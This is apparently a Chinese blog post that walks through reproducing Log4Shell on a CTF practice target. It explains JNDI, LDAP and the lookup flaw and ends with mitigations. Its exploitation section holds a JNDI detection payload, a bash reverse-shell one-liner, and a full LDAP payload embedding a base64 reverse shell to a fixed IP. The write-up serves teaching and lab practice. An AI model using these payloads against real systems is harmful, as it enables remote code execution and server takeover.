log4j复现

1.理解log4j漏洞的前置知识

1.JNDI接口

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

2.LDAP协议

LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。

有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

3.RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4.Log4j

Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

2.Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。

3.log4j漏洞复现

1.检测漏洞是否存在

在线靶场

1
https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730

payload配合dnslog检测漏洞是否存在

1
${jndi:ldap://ntoand.dnslog.cn}

2.进一步利用

在服务器上启动ladp服务

监听开启

接下来进行payload构造

1
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
1
bash -i >& /dev/tcp/yourip/1099 0>&1 

1
${jndi:ldap://113.14.5.159:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMTMuMTQuNS4xNTkvMjMzMyAwPiYxIA%3d%3d}

YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMTMuMTQuNS4xNTkvMjMzMyAwPiYxIA%3d%3d

四、Log4j的临时缓解措施

关闭lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。


log4j复现
http://example.com/2023/03/12/log4j复现/
作者
QY
发布于
2023年3月12日
许可协议